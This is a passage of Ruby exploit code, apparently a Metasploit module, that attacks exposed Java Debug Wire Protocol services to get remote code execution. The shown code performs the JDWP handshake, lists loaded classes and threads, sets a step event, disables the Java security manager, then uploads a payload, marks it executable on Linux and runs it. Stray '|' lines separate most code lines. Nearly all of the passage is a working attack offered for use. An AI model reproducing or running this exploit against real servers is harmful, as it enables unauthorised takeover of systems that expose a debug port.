pl = upload_payload(thread_id, pl_exe)
|
|
|
|
# 4. Dumps uploaded payload into file on the server
|
|
dump_payload(thread_id, file, pl)
|
|
|
|
# 5. Closes the file on the server
|
|
close_file(thread_id, file)
|
|
|
|
# 5b. When linux arch, give execution permissions to file
|
|
if target['Platform'] == 'linux'
|
|
cmd = "chmod +x #{payload_exe}"
|
|
execute_command(thread_id, cmd)
|
|
end
|
|
|
|
# 6. Executes the dumped payload
|
|
cmd = "#{payload_exe}"
|
|
execute_command(thread_id, cmd)
|
|
end
|
|
|
|
|
|
def exploit
|
|
@my_id = 0x01
|
|
@vars = {}
|
|
@classes = []
|
|
@methods = {}
|
|
@threads = {}
|
|
@os = nil
|
|
|
|
connect
|
|
|
|
unless handshake == HANDSHAKE
|
|
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
|
|
end
|
|
|
|
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
|
|
get_sizes
|
|
|
|
print_status("#{peer} - Getting the version of the target VM...")
|
|
get_version
|
|
|
|
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
|
|
get_all_classes
|
|
|
|
print_status("#{peer} - Getting all running threads in the target VM...")
|
|
get_all_threads
|
|
|
|
print_status("#{peer} - Setting 'step into' event...")
|
|
r_id, t_id = set_step_event
|
|
|
|
print_status("#{peer} - Resuming VM and waiting for an event...")
|
|
response = resume_vm
|
|
|
|
unless parse_event(response, r_id, t_id)
|
|
datastore['NUM_RETRIES'].times do |i|
|
|
print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...")
|
|
buf = read_reply
|
|
break if parse_event(buf, r_id, t_id)
|
|
|
|
if i == datastore['NUM_RETRIES']
|
|
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
|
|
end
|
|
end
|
|
end
|
|
|
|
vprint_status("#{peer} - Received matching event from thread #{t_id}")
|
|
print_status("#{peer} - Deleting step event...")
|
|
clear_event(EVENT_STEP, r_id)
|
|
|
|
print_status("#{peer} - Disabling security manager if set...")
|
|
disable_sec_manager
|
|
|
|
print_status("#{peer} - Dropping and executing payload...")
|
|
exec_payload(t_id)
|
|
|
|
disconnect
|
|
end
|
|
end
|